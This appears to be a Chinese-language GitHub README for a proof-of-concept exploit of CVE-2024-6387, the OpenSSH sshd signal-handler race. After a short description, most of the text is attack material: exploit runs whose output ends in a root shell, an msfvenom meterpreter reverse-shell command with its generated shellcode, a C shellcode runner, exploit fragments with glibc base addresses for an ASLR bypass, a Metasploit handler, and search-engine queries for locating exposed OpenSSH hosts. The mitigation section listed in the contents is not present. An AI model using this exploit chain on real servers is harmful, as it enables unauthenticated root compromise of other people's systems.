vuducmanhno100-cloud/CVE-2024-6387

# CVE-2024-6387 CVE-2024-6387 POC（目前正在编辑中） #  CVE-2024-6387 - PoC ## 📜 描述 OpenSSH 服务器中的远程未授权代码执行漏洞 在 OpenSSH 的服务器（sshd）中发现了一个信号处理器竞态条件，如果客户端未能在 `LoginGraceTime` 秒（默认为 120，在旧版 OpenSSH 中为 600）内完成认证，sshd 的 SIGALRM 处理器将被异步调用。然而，该信号处理器调用了多种非异步信号安全（async-signal-safe）的函数，例如 syslog()。 ## 📁 目录 - 📖 [详情](#-details) - ⚙️ [用法](#-usage) - 🔍 [目标发现](#-host-discovery) - 🛠️ [缓解措施](#-mitigation) - 💁 [参考](#-references) - 📌 [作者](#-author) - 📢 [免责声明](#-disclaimer) ## ✍🏻 详情 您可以在[这里](https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt)找到技术细节。 该漏洞由 Qualys 的研究人员在 `2024 年 5 月` 发现，并被分配了标识符 CVE-2024-6387。这是由于 sshd 中的信号处理器竞态条件，允许未经身份验证的远程攻击者以 root 身份执行任意代码。 “如果客户端未能在 `LoginGraceTime` 秒（默认为 120）内完成认证，sshd 的 SIGALRM 处理器将被异步调用，并调用多种非异步信号安全的函数，” “远程未经身份验证的攻击者可以利用此漏洞以 root 权限执行任意代码。” ## ⚙️ 用法 ## 扫描 OpenSSH Server ``` $ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22 ██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗ ██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║ ██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║ ██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║ ╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝ Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo Exploiting vulnerabilities... Attempting exploitation with glibc base: 0xb7200000 Attempt 0 of 20000 Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6 Received KEX_INIT (1024 bytes) send_packet: Resource temporarily unavailable send_packet: Resource temporarily unavailable send_packet: Resource temporarily unavailable send_packet: Resource temporarily unavailable ..... Exploitation successful..! ~# whoami && id root uid=0(root) gid=0(root) groups=0(root) ``` ### 导出 (csv,txt,json) ``` $ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json ``` ### 多目标 ``` $ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json ``` ### 添加超时 ``` $ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json ``` ### 网络范围 ``` $ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json ``` ### 自定义端口 ``` $ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json ``` # 提权过程 ## 获取 Reverse shell ``` # 生成 shellcode $ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 130 bytes Final size of c file: 574 bytes unsigned char buf[] = "\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9" "\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51" "\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01" "\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00" "\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a" "\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74" "\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31" "\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58" "\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0" "\x78\xed\xff\xe6"; ``` ### 自定义 payload ``` #include // A placeholder of your custom payload const char shellcode[] = "\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9" "\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51" "\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01" "\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00" "\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a" "\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74" "\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31" "\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58" "\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0" "\x78\xed\xff\xe6"; int main() { // Execute shellcode printf("Executing shellcode...\n"); void (*sc)() = (void(*)())shellcode; sc(); return 0; } ``` ### 实际 payload ``` #include #define MAX_PACKET_SIZE (256 * 1024) #define LOGIN_GRACE_TIME 120 #define MAX_STARTUPS 100 #define CHUNK_ALIGN(s) (((s) + 15) & ~15) // Possible glibc base addresses (for ASLR bypass) uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 }; int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]); // Shellcode placeholder (replace with actual shellcode) unsigned char shellcode[] = "\x90\x90\x90\x90"; ``` ### 编译并启动 payload ``` # 编译 payload $ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c ``` ### 执行 payload ``` # 一旦收到成功的利用消息，msfconsole 将自动启动一个 Meterpreter 会话。 $ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 ``` ### 捕获 payload ``` msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j" ``` ## 🔍 目标发现 - **Hunter**: `/product.name="OpenSSH"` - **FOFA**: `app="OpenSSH"` - **SHODAN**: `product:"OpenSSH"` - **CENSYS**: `(openssh) and labels=remote-access`

标签：CISA项目, CVE-2024-6387, OpenSSH, PoC, 威胁模拟, 暴力破解, 编程工具, 远程代码执行, 逆向工具